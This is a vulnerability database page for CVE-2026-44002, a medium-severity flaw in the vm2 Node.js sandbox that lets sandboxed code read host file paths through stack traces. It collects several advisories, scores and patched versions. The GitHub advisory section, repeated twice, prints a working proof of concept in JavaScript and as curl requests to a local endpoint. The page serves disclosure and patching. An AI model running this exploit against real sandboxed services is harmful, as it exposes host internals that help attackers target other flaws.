Every CVE Search/ Get API key

CVE-2026-44002

vm2: Host File Path Disclosure via Stack Trace Information Leak

5.8 MediumFix available

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, vm2's CallSite wrapper class (intended as a safe wrapper for V8's native CallSite) blocks getThis() and getFunction() to prevent host object leakage, but allows getFileName() to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server. This vulnerability is fixed in 3.11.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
Low
Integrity
None
Availability
None

Exploit likelihood

0.24%Up 0.2 points since May 14, 2026
90%50%10%1%

What each source reports

CVE List Score used 5.8

vm2: Host File Path Disclosure via Stack Trace Information Leak

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, vm2's CallSite wrapper class (intended as a safe wrapper for V8's native CallSite) blocks getThis() and getFunction() to prevent host object leakage, but allows getFileName() to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server. This vulnerability is fixed in 3.11.0.

Record
CVE-2026-44002
CVSS 3.1
5.8 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Weakness
CWE-209
Updated
2026-11-02
EUVDEUVD-2026-30072 5.8

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, vm2's CallSite wrapper class (intended as a safe wrapper for V8's native CallSite) blocks getThis() and getFunction() to prevent host object leakage, but allows getFileName() to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server. This vulnerability is fixed in 3.11.0.

Record
EUVD-2026-30072
CVSS 3.1
5.8 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-v27g-jcqj-v8rw 5.8

vm2 is Vulnerable to Host File Path Disclosure via Stack Trace Information Leak

Summary

vm2's CallSite wrapper class (intended as a safe wrapper for V8's native CallSite) blocks getThis() and getFunction() to prevent host object leakage, but allows getFileName() to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server.

Details

In lib/setup-sandbox.js:436-466, the CallSite class overrides getThis() and getFunction() with undefined to prevent host object references from leaking into the sandbox. However, the following methods pass through unsanitized values from the original V8 CallSite object:

  • getFileName() — returns host absolute paths like /app/node_modules/vm2/lib/vm.js
  • getLineNumber(), getColumnNumber() — exact source locations
  • getFunctionName(), getMethodName(), getTypeName() — internal function names

Two exploitation paths exist:

  1. Default error.stack: new Error().stack includes host frame paths in the formatted string
  2. Custom prepareStackTrace: Attacker can set Error.prepareStackTrace to directly call getFileName() on each CallSite, extracting a clean list of all host paths

PoC

Library-level PoC (Node.js script — primary):

const { VM } = require("vm2");
const vm = new VM();

// Path A — Default error.stack
const result1 = vm.run(`try { null.x; } catch(e) { e.stack }`);
console.log(result1);
// Output includes: /app/node_modules/vm2/lib/vm.js:289:18
//                   /app/src/server.js:49:20

// Path B — prepareStackTrace extraction
const result2 = vm.run(`
  Error.prepareStackTrace = function(e, sst) {
    return sst.map(function(s) { return s.getFileName(); }).join(", ");
  };
  new Error().stack
`);
console.log(result2);
// Output: vm.js, node:vm, /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, ...

HTTP demonstration:

# Default error.stack
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"try { null.x; } catch(e) { e.stack }"}'
# Result includes host paths: /app/src/server.js, /app/node_modules/express/...

# prepareStackTrace extraction
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"Error.prepareStackTrace = function(e, sst) { return sst.map(function(s) { return s.getFileName(); }).join(\", \"); }; new Error().stack"}'
# Result: /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, /app/src/server.js, ...

Impact

  • Information Disclosure: Host directory structure, library paths, framework versions, and internal architecture are exposed to sandboxed code.
  • Attack Chain: Leaked paths enable precise targeting for other vulnerabilities.
  • Scope: All applications using vm2. No special configuration required.
Record
GHSA-v27g-jcqj-v8rw
CVSS 3.1
5.8 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Weakness
CWE-209
Updated
2026-11-02
NVD 5.8

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, vm2's CallSite wrapper class (intended as a safe wrapper for V8's native CallSite) blocks getThis() and getFunction() to prevent host object leakage, but allows getFileName() to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server. This vulnerability is fixed in 3.11.0.

Record
CVE-2026-44002
CVSS 3.1
5.8 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Weakness
CWE-209
Updated
2026-11-02
OSV 5.8

vm2: Host File Path Disclosure via Stack Trace Information Leak

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, vm2's CallSite wrapper class (intended as a safe wrapper for V8's native CallSite) blocks getThis() and getFunction() to prevent host object leakage, but allows getFileName() to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server. This vulnerability is fixed in 3.11.0.

Record
CVE-2026-44002
CVSS 3.1
5.8 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Weakness
CWE-209
Updated
2026-11-02
OSVGHSA-v27g-jcqj-v8rw 5.8

vm2 is Vulnerable to Host File Path Disclosure via Stack Trace Information Leak

Summary

vm2's CallSite wrapper class (intended as a safe wrapper for V8's native CallSite) blocks getThis() and getFunction() to prevent host object leakage, but allows getFileName() to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server.

Details

In lib/setup-sandbox.js:436-466, the CallSite class overrides getThis() and getFunction() with undefined to prevent host object references from leaking into the sandbox. However, the following methods pass through unsanitized values from the original V8 CallSite object:

  • getFileName() — returns host absolute paths like /app/node_modules/vm2/lib/vm.js
  • getLineNumber(), getColumnNumber() — exact source locations
  • getFunctionName(), getMethodName(), getTypeName() — internal function names

Two exploitation paths exist:

  1. Default error.stack: new Error().stack includes host frame paths in the formatted string
  2. Custom prepareStackTrace: Attacker can set Error.prepareStackTrace to directly call getFileName() on each CallSite, extracting a clean list of all host paths

PoC

Library-level PoC (Node.js script — primary):

const { VM } = require("vm2");
const vm = new VM();

// Path A — Default error.stack
const result1 = vm.run(`try { null.x; } catch(e) { e.stack }`);
console.log(result1);
// Output includes: /app/node_modules/vm2/lib/vm.js:289:18
//                   /app/src/server.js:49:20

// Path B — prepareStackTrace extraction
const result2 = vm.run(`
  Error.prepareStackTrace = function(e, sst) {
    return sst.map(function(s) { return s.getFileName(); }).join(", ");
  };
  new Error().stack
`);
console.log(result2);
// Output: vm.js, node:vm, /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, ...

HTTP demonstration:

# Default error.stack
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"try { null.x; } catch(e) { e.stack }"}'
# Result includes host paths: /app/src/server.js, /app/node_modules/express/...

# prepareStackTrace extraction
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"Error.prepareStackTrace = function(e, sst) { return sst.map(function(s) { return s.getFileName(); }).join(\", \"); }; new Error().stack"}'
# Result: /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, /app/src/server.js, ...

Impact

  • Information Disclosure: Host directory structure, library paths, framework versions, and internal architecture are exposed to sandboxed code.
  • Attack Chain: Leaked paths enable precise targeting for other vulnerabilities.
  • Scope: All applications using vm2. No special configuration required.
Record
GHSA-v27g-jcqj-v8rw
CVSS 3.1
5.8 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Weakness
CWE-209
Updated
2026-11-02
OSVROOT-APP-NPM-CVE-2026-44002 5.8

CVE-2026-44002 in vm2 - Patched by Root

Root has patched CVE-2026-44002 in the vm2 package for Root:npm. Multiple fixed versions available.

Record
ROOT-APP-NPM-CVE-2026-44002
CVSS 3.1
5.8 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Updated
2026-11-02
OSVCLSA-2026-1787860907 No score

TuxCare security update for vm2 (34 CVEs)

TuxCare rebuilt vm2 to address 34 CVEs. Fixed in 3.10.0-tuxcare.1.

Record
CLSA-2026-1787860907
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
vm2
npm
 through 3.10.5
3.11.0
vm2
TuxCare:npm
From an advisory covering 30 CVEs
 3.10.0-tuxcare.0 up to 3.10.0-tuxcare.1, plus listed versions
3.10.0
3.10.0-tuxcare.1
vm2
npm
 before 3.11.0
3.11.0
vm2
Root:npm
 before 3.9.17-aikido.11
3.9.17-aikido.113.9.17-aikido.123.10.5-aikido.63.9.17-aikido.133.9.17-aikido.93.9.17-aikido.103.10.5-aikido.73.10.5-aikido.8
@rootio/vm2
Root:npm
 before 3.10.5-root.io.5
3.10.5-root.io.53.9.17-root.io.113.9.17-root.io.123.10.5-root.io.63.9.17-root.io.133.9.17-root.io.93.9.17-root.io.103.10.5-root.io.73.10.5-root.io.8

History

History
RecordedChangedSources
affected
facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-44002 is a medium vulnerability (CVSS 5.8) in Patriksimek Vm2, published May 7, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.24%, the 15th percentile. Fixed in vm2 3.11.0.

References

Pages All vulnerabilities Browse Docs Sources Guide Get API key
MoveEnter Open